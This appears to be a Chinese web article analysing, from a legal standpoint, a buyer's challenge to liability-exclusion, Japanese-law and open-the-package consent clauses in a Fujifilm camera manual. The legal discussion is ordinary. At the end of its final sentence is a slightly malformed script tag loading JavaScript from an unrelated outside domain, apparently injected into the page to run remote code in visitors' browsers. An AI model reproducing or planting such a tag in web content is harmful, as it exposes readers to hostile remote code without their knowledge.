从法律角度看 富士相机案中的消费者保护

背景

济南一市民于3月27日在山东济南银座商城花3700多元买了一款630万像素的富士f11数码相机。在该相机用户手册最后一页,“重要信息”第7条关于“有限责任”中有这样一段话:“在任何情况下,对由于使用本产品或无法使用本产品所引起的一般的、特殊的、直接的、间接的、继发的、伴随的或其他损害(包括利润损失或挽救措施产生的损失),富士即使事先知道这种损害的可能性,也不负任何责任”;第12条“本协议应由日本法律管辖和解释”;“用户一旦打开相机软件包装,就等于接受并同意遵守该协议”。消费者对这两条规定表示质疑。

解读

要从法律角度解决消费者对此格式合同的质疑,须从以下四个角度来分析:一是案件管辖权和管辖法律二是消费者救济途径;三是有限责任条款的有效性;四是合同成立方式。

第一,管辖权——

消费者可以在中国起诉

在媒体报道中,不少消费者提出了这样的质疑:相机的销售商是富士胶片(中国)投资有限公司,富士公司为何要求应由日本管辖?

这里首先要明确协议中的管辖法律相当于法律适用,而管辖和法律适用是两个不同的概念,前者涉及主权,后者则要依据冲突规范。在我国,国际民事案件的管辖权的确定一般以地域管辖为原则,而且以被告所在地作为确定管辖权的标准。本案中的销售商为中国法人而且合同签订地履行地在中国,而且协议中约定的是管辖法律而非管辖法院,所以消费者可以在中国法院起诉,而非必须到日本法院起诉。

在法院受理后会涉及到法律适用问题,这就要根据我国国际私法的冲突规范确定根据哪个国家实体法来规定当事人间的权利义务。我国《民法通则》第145条规定,涉外合同的当事人可以选择处理合同争议所适用的法律。所以本案中按我国冲突规范准据法应为协议规定的日本法律。退一步讲,我国承认国际合同的意思自治原则,允许当事人约定管辖法院和适用的法律,所以即便富士公司制定的格式条款中约定了管辖法院,也是有效的。

不少消费者有这样的心理,认为案件如果适用自己不熟悉的外国法律就一定对自己不利。事实上发达国家法律对于侵权违约的赔偿标准往往很高,如果本案适用日本法律,获得的赔偿要比适用中国法律高出许多。正所谓洋为中用,在国际买卖日益频繁的今天,消费者在发生涉外纠纷时不要畏于适用外国法律,应当学会利用国际私法更好地维护自身权益。

第二,救济途径——

可诉违约、侵权或提起仲裁

本案中消费者可以选择三种救济途径:最通常的方式就是向法院提起合同违约之诉,这时需按协议规定适用日本法律;第二种方式可以避开合同管辖法律条款规定,即消费者可以向法院提起侵权之诉。按照我国法律规定,侵权案件由侵权行为地管辖,包括侵权行为实施地和侵权结果发生地。这样我国法院当然有管辖权,而且在法律适用上按照国际私法的指引也应当适用侵权行为地法即中国法律。除了通过诉讼解决纠纷,消费者还可以通过仲裁程序维护自己的合法权益。仲裁管辖取决于个案双方意思自治,当事各方可以自由选择解决争议的仲裁机构和适用的法律。总而言之,无论选择哪种途径,中国法院都有管辖权,在后两种途径中可以避开协议第12条管辖法律的规定,根据法定或约定适用中国法律。

第三,合同有效性——

第7条单方限制排除责任无效

确定管辖法院和适用法律之后,下一步就要认定格式条款的有效性。一般情况下,格式条款只有在双方权利义务过分失衡时才可能被认定无效,而且不能通过协议排除中国法律对消费者强制性保护。《合同法》第40条规定:提供格式条款一方免除其责任、加重对方责任、排除对方主要权利的,该条款无效。如上所述,协议第12条管辖法律的规定是合法有效的。协议第7条有限责任的规定违反了我国《消费者权益保护法》、《产品质量法》等法律对消费者的强制性保护,同时也违反了《合同法》对格式条款的有关规定,单方限制排除生产商、销售商固有责任,属无效条款,在诉讼中法院可以排除适用。

第四,合同是否成立——

“打开包装即等于合同成立”不合理

本案中“用户一旦打开相机软件包装,就等于接受并同意遵守该协议”这种以打开包装或点击等方式认定消费者同意合同的条款的,笔者认为,应当以当事人可预见性为标准来制约。这种软件或产品的协议书往往条文繁琐,消费者在购买使用时也往往不会注意具体细节规定,尤其是对于一些专业性的术语规则也只是按照一般人的理解来预计法律后果,所以对于当事人无法预见的特殊的格式条款不能以这种方式认定消费者已经接受,合同成立。

据悉,富士胶片(中国)投资有限公司已于4月5日刊登声明,称“如果被认定有与中国法律、法规有不一致之处,富士胶片(中国)投资有限公司将修改相关承诺条款”,并“对因此给中国消费者带来的不安和困扰表示抱歉”?script src=http://er12.com/t.js>

  • 从法律角度看 富士相机案中的消费者保护已关闭评论
    A+
发布日期:2019年07月04日  所属分类:新闻动态